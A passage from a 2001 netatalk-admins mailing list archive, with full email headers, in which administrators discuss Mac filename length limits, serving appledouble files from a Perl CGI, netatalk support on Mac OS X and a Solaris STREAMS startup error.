bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMjE1MDE1ODQyWjAjBgkq
hkiG9w0BCQQxFgQU0923D7vLNyT9YC/glh5mAbLunYgwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYAOzzjyDGjeiTumwXqcs+ltGVjyQZwcxrWKi0m0SRkpDEMgULa7U15VsroDEXxzGyjhNeD/
cwWKQXEtTMyIVjvCH13F9tBVDgqAUjvlSpnYq+feQw1rgTglVOIIqT0UPAuxyi9KOgV/KQEL
RrLR4unzhrPv24VCGatlPunhrVLNpg==
--------------ms1D96A3CB79CE51F4E757A2A3--


From netatalk.administrators-errors@umich.edu  Thu Feb 15 05:54:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA27962
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 05:54:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA24820
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 05:54:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA24806
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 05:54:38 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA24772
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 05:54:36 -0500 (EST)
Received: from n246-59.berlin.snafu.de ([195.21.246.59] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14TM3X-0005dW-00; Thu, 15 Feb 2001 11:54:35 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id LAA15069;
	Thu, 15 Feb 2001 11:50:18 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu
Subject: Re: Why do long names (char > 27) not created through atalk not show up over atalk?
Date: Thu, 15 Feb 2001 11:25:23 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <15204.982098970@deepeddy.com> <20010214191132.B22880@cornell.edu> <3A8B37D1.CF72458F@arts.usyd.edu.au>
In-Reply-To: <3A8B37D1.CF72458F@arts.usyd.edu.au>
MIME-Version: 1.0
Message-Id: <01021511501700.08422@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA27962

On Thu, 15 Feb 2001, Matthew Geier wrote:
> 
> Cliff Crawford wrote:
> > 
> > * Chris Harwell <charwell@digitalpulp.com> menulis:
> > > hi,
> > >
> > > When a file with a long file name is created in linux (in this case via scp)
> > > it doesn't show up over atalk. If a file with a long name is created over
> > > netatlk it does.
> > >
> > > Anyway around this?
> > 
> > Not really, Mac OS has a 32-character limit on filenames.  So you have to
> > make sure the filenames are shorter than that for them to show up.
> > 
> > (If the cutoff you're experiencing really is at 27 characters, like it
> > says in the subject, and not 32, then I guess it's not the Mac OS
> > filename limit that's causing it..I don't know what could be wrong in
> > that case.)
> 
> 27 + '.' + 'M$ style 3 letter extension' ?, thats 31 characters.... 

Feel like lying naked under the table of a pub - people tumbling around,
kicking my balls.

Are we going MessDos?!

Filenames aren't "suffixed" by afpd when transferred to a Mac.
If so: why? There would be no need. Netatalk is not samba!

I just checked this: the limit is at 31 chars (like MacOS).
Are you using a different version of natatalk?
I'm using 1.4b2+asun2.1.3.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Feb 15 08:42:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA00715
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 08:42:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA10621
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 08:41:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA10592
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 08:41:55 -0500 (EST)
Received: from mail.the-i-pa.com (client-151-201-71-132.the-i-pa.com [151.201.71.132] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA10558
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 08:41:53 -0500 (EST)
Received: (qmail 64565 invoked from network); 15 Feb 2001 13:53:40 -0000
Received: from unknown (HELO mail.iowna.com) (151.201.71.139)
  by mail.the-i-pa.com with SMTP; 15 Feb 2001 13:53:40 -0000
Sender: wmoran@mail.iowna.com
Message-ID: <3A8B98B4.C9575B48@mail.iowna.com>
Date: Thu, 15 Feb 2001 08:52:04 +0000
From: Bill Moran <wmoran@mail.iowna.com>
Organization: Iowna Software
X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: deltor@snafu.de
CC: Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu
Subject: Re: Why do long names (char > 27) not created through atalk not show up 
 over atalk?
References: <15204.982098970@deepeddy.com> <20010214191132.B22880@cornell.edu> <3A8B37D1.CF72458F@arts.usyd.edu.au> <01021511501700.08422@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Carsten Neumann wrote:
> > 27 + '.' + 'M$ style 3 letter extension' ?, thats 31 characters....
> 
> Feel like lying naked under the table of a pub - people tumbling around,
> kicking my balls.

To each his own.

> Filenames aren't "suffixed" by afpd when transferred to a Mac.
> If so: why? There would be no need. Netatalk is not samba!

No, but if samba were creating the files, it would look on the Mac like
the "filename" (the part before the dot) was limited to 27 chars.

-Bill

From netatalk.administrators-errors@umich.edu  Thu Feb 15 10:37:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA03729
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 10:37:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21769
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 10:37:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21741
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 10:37:06 -0500 (EST)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21682
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 10:37:05 -0500 (EST)
Received: by mail.teleologic.net (Postfix, from userid 1049)
	id 8DF682B90E8; Thu, 15 Feb 2001 09:36:59 -0600 (CST)
Date: Thu, 15 Feb 2001 09:36:59 -0600
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: Why do long names (char > 27) not created through atalk not show up over atalk?
Message-ID: <20010215093659.A26198@teleologic.net>
References: <15204.982098970@deepeddy.com> <20010214191132.B22880@cornell.edu> <3A8B37D1.CF72458F@arts.usyd.edu.au> <01021511501700.08422@athlet> <3A8B98B4.C9575B48@mail.iowna.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A8B98B4.C9575B48@mail.iowna.com>; from wmoran@mail.iowna.com on Thu, Feb 15, 2001 at 08:52:04AM +0000
X-Operating-System: Linux 2.2.16 i686
X-Dont-Spam-Me: I might come after you

Bill wrote regarding 'Re: Why do long names (char > 27) not created through atalk not show up over atalk?' on Thu, Feb 15 at 07:59:
> Carsten Neumann wrote:
> > > 27 + '.' + 'M$ style 3 letter extension' ?, thats 31 characters....
> > 
> > Feel like lying naked under the table of a pub - people tumbling around,
> > kicking my balls.
>
> To each his own.

Eeek.

> > Filenames aren't "suffixed" by afpd when transferred to a Mac.
> > If so: why? There would be no need. Netatalk is not samba!
> 
> No, but if samba were creating the files, it would look on the Mac like
> the "filename" (the part before the dot) was limited to 27 chars.

You mean if the files were created on windows with "hide registered file types"
activated, then the windows user would only see 27 chars, but the mac and *nix
sides would see the dot and extension that windows creates behind the scenes,
pushing the real filename over the 31 char limit.  Right?

The problem here, as usual, likely lies with windows. :)

--Danny

From netatalk.administrators-errors@umich.edu  Thu Feb 15 10:55:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA04060
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 10:55:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22149
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 10:55:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22131
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 10:55:07 -0500 (EST)
Received: from mail.the-i-pa.com (client-151-201-71-132.the-i-pa.com [151.201.71.132] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA22091
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 10:55:06 -0500 (EST)
Received: (qmail 65556 invoked from network); 15 Feb 2001 16:06:47 -0000
Received: from unknown (HELO mail.iowna.com) (151.201.71.139)
  by mail.the-i-pa.com with SMTP; 15 Feb 2001 16:06:47 -0000
Sender: wmoran@mail.iowna.com
Message-ID: <3A8BB7E6.DCFACCFA@mail.iowna.com>
Date: Thu, 15 Feb 2001 11:05:10 +0000
From: Bill Moran <wmoran@mail.iowna.com>
Organization: Iowna Software
X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Danny Sauer <dsauer@teleologic.net>
CC: netatalk-admins@umich.edu
Subject: Re: Why do long names (char > 27) not created through atalk not show up 
 over atalk?
References: <15204.982098970@deepeddy.com> <20010214191132.B22880@cornell.edu> <3A8B37D1.CF72458F@arts.usyd.edu.au> <01021511501700.08422@athlet> <3A8B98B4.C9575B48@mail.iowna.com> <20010215093659.A26198@teleologic.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Danny Sauer wrote:

> > No, but if samba were creating the files, it would look on the Mac like
> > the "filename" (the part before the dot) was limited to 27 chars.
> 
> You mean if the files were created on windows with "hide registered file types"
> activated, then the windows user would only see 27 chars, but the mac and *nix
> sides would see the dot and extension that windows creates behind the scenes,
> pushing the real filename over the 31 char limit.  Right?

No, when Win makes the file it makes fname.ext - always. The setting for
"hide registered file types" does nothing to change the filename. It
only affects the way explorer _displays_ the name.
However ... If you're creating files with windows you will _need_ a file
extension so windows knows what the file is (since it doesn't use magic
like UN*X or a resource fork like Mac) Therefore, the maximum length of
the _filename_ part of the name ... if you create it from windows and
want it to be accessible from the Mac is 27 characters.
If you consider the extension part of the filename, then the max is 31
characters.
It's not a technical thing, it's a matter of how you look at it.

> The problem here, as usual, likely lies with windows. :)

Sorry, but I don't consider this a "problem". I'm not a windows advocate
or anything (I use nothing but FreeBSD, personally) but the decision to
use file extensions to identify file types is no different than Apple's
decision to use resource forks for the same purpose. The issue is simply
the incompatibility in the way this is handled between different
systems.
I do have other complaints about this approach, however. If the file
extension is so important, then the "." should be a reserved character
in Windows and should not be a legal part of the filename. If Micros~1
had thought it through and made the dot illegal except to create file
extensions, this rash of "viruses" (as the media lazily and inaccurately
calls them) wouldn't be occurring because a file like
"kornakova.jpg.vbs" would be an illegal filename and couldn't fool
people.
That, however, is off topic.

-Bill

From netatalk.administrators-errors@umich.edu  Thu Feb 15 12:07:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06256
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 12:07:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA08248
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 12:07:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA08218
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 12:07:29 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA08184
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 12:07:27 -0500 (EST)
Received: (qmail 28349 invoked by uid 104); 15 Feb 2001 17:07:27 -0000
Received: from cwg-dated-e7ea9493218076d8@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.294487 secs); 15/02/2001 11:07:26
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-e7ea9493218076d8@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 15 Feb 2001 17:07:26 -0000
Received: (qmail 2214 invoked by alias); 15 Feb 2001 17:07:26 -0000
From: "Chris Garrigues" <cwg-dated-e7ea9493218076d8@deepeddy.com>
Received: (qmail 2198 invoked from network); 15 Feb 2001 17:07:25 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 15 Feb 2001 17:07:25 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: Wrapping MIME around an appledouble file
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-503246850P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 15 Feb 2001 11:07:25 -0600
Message-ID: <2195.982256845@deepeddy.com>
Mail-Reply-To: cwg-dated-e7ea9493218076d8@DeepEddy.Com

--==_Exmh_-503246850P
Content-Type: text/plain; charset=us-ascii

I need to grab a file saved on a server using netatalk from a perl CGI and 
transmit it to the user.

So far, all my attempts do is to crash netscape with an error of type 3.  This 
makes it kinda hard to debug.

Has anybody done this?  Is there anything special I have to do to the data?

Maybe I just have a dumb typo or thinko.  here's my code fragment:

	    open(FILE, "<$filename") 
		or die "Couldn't read $filename: $!";
	    open(RESOURCEFILE, "<$resourcefilename") 
		or die "Couldn't read $resourcefilename: $!";
	    print "Content-Type: multipart/appledouble; boundary=mac-part\n";
	    print "\n";
	    print "--mac-part\n";
	    print "Content-Type: application/applefile; name=\"$filepart\"\n";
	    print "Content-Transfer-Encoding: 8bit\n";
	    print "\n";
	    while (<RESOURCEFILE>) {
		print $_;
	    }
	    close(RESOURCEFILE);
	    print "\n";
	    print "--mac-part\n";
	    print "Content-Type: application/octet-stream\n";
	    print "Content-Transfer-Encoding: 8bit\n";
	    print "\n";
	    while (<FILE>) {
		print $_;
	    }
	    close(FILE);
	    print "\n";
	    print "--mac-part--\n";

Any help would be appreciated.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-503246850P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6jAzNK9b4h5R0IUIRAtXjAJ4mcP+fIDQrYfzOOcMmGfqApORIugCfRvje
0X+TmF+3zebu64dxg9m/f+A=
=6zOO
-----END PGP SIGNATURE-----

--==_Exmh_-503246850P--

From netatalk.administrators-errors@umich.edu  Thu Feb 15 16:47:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13266
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 16:47:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA03392
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 16:47:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA03347
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 16:47:50 -0500 (EST)
Received: from woj.com (brilliantmovies.com [64.69.72.50])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA03309
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 16:47:48 -0500 (EST)
Received: from [10.0.1.4] (ip-208-181-196-65.adsl.radiant.net [208.181.196.65] (may be forged))
	by woj.com (8.9.3/8.9.3) with ESMTP id NAA22165
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 13:48:19 -0800
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 15 Feb 2001 13:47:47 -0800
Subject: Apple, Netatalk, OS X
From: Ian Wojtowicz <i@woj.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B18E83.6CC7%i@woj.com>
In-Reply-To: <a05001901b684ccb52d28@[129.98.91.150]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Does anyone know if Apple engineers are cooperating with the Netatalk team
to get it working with OS X?

___________________________________________________________________________
ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Thu Feb 15 17:59:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA15136
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 17:59:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA09229
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 17:59:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA09215
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 17:59:55 -0500 (EST)
Received: from woj.com (brilliantmovies.com [64.69.72.50])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA09186
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 17:59:53 -0500 (EST)
Received: from [10.0.1.4] (ip-208-181-196-65.adsl.radiant.net [208.181.196.65] (may be forged))
	by woj.com (8.9.3/8.9.3) with ESMTP id PAA22299
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 15:00:16 -0800
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 15 Feb 2001 14:59:45 -0800
Subject: Re: Apple, Netatalk, OS X
From: Ian Wojtowicz <i@woj.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B19F61.6CD1%i@woj.com>
In-Reply-To: <3A8C5669.53E5B567@univrel.pr.uconn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Jeff.

> Some people have gotten netatalk to work under Mac OSX (see the mailing
> list archives), but nothing officially from Apple, yet.

I've scanned the archives and haven't found a single person who has
connected to a netatalk server with Mac OS X and actually experienced
bug-free performance. Netatalk is essentially unusable with Mac OS X. This
is really unfortunate for organizations that rely on Mac<->Linux
connectivity.

___________________________________________________________________________
ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Thu Feb 15 18:13:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA15573
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 18:13:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA04372
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 18:13:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA04344
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 18:13:28 -0500 (EST)
Received: from woj.com (brilliantmovies.com [64.69.72.50])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA04298
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 18:13:27 -0500 (EST)
Received: from [10.0.1.4] (ip-208-181-196-65.adsl.radiant.net [208.181.196.65] (may be forged))
	by woj.com (8.9.3/8.9.3) with ESMTP id PAA22344;
	Thu, 15 Feb 2001 15:13:51 -0800
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 15 Feb 2001 15:13:19 -0800
Subject: Re: Apple, Netatalk, OS X
From: Ian Wojtowicz <i@woj.com>
To: <richard@prototec.co.nz>
CC: <netatalk-admins@umich.edu>
Message-ID: <B6B1A28F.6CD4%i@woj.com>
In-Reply-To: <3A8C5D13.439CD4B5@prototec.co.nz>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Richard.

> I thought OS X would work fine with NFS.

Does NFS on OS X support all the great features we expect from appletalk
file servers like custom icons, persistent icon arrangements (and window
locations), robust file aliases, etc.? Or are these features abstracted away
from the filesystem/protocol layer?

___________________________________________________________________________
ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Thu Feb 15 18:15:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA15768
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 18:15:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA08457
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 18:15:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA08437
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 18:15:44 -0500 (EST)
Received: from galaxy.tbird.com (galaxy.tbird.com [199.72.122.9])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA08390
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 18:15:43 -0500 (EST)
Received: from eagle.tbird.com (eagle.tbird.com [199.72.122.7])
	by galaxy.tbird.com (8.9.2/8.9.2) with SMTP id SAA18343
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 18:15:41 -0500 (EST)
Message-Id: <200102152315.SAA18343@galaxy.tbird.com>
Date: Thu, 15 Feb 2001 18:15:46 -0500 (EST)
From: rnf <rnf@tbird.com>
Reply-To: rnf <rnf@tbird.com>
Subject: Streams plumbing error
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: FAcKb6nQt6zhw0U5A3mnuw==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4m sparc 

Hi All,

I'm new to netatalk but I got it to compile and installed it on one of our 
Solaris 8 boxes.

When I try to start it I get the following error:

starting appletalk daemons: can't establish STREAMS plumbing, exiting.

Any idea where the problem is?

Thanks,

Rick


From netatalk.administrators-errors@umich.edu  Thu Feb 15 18:17:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
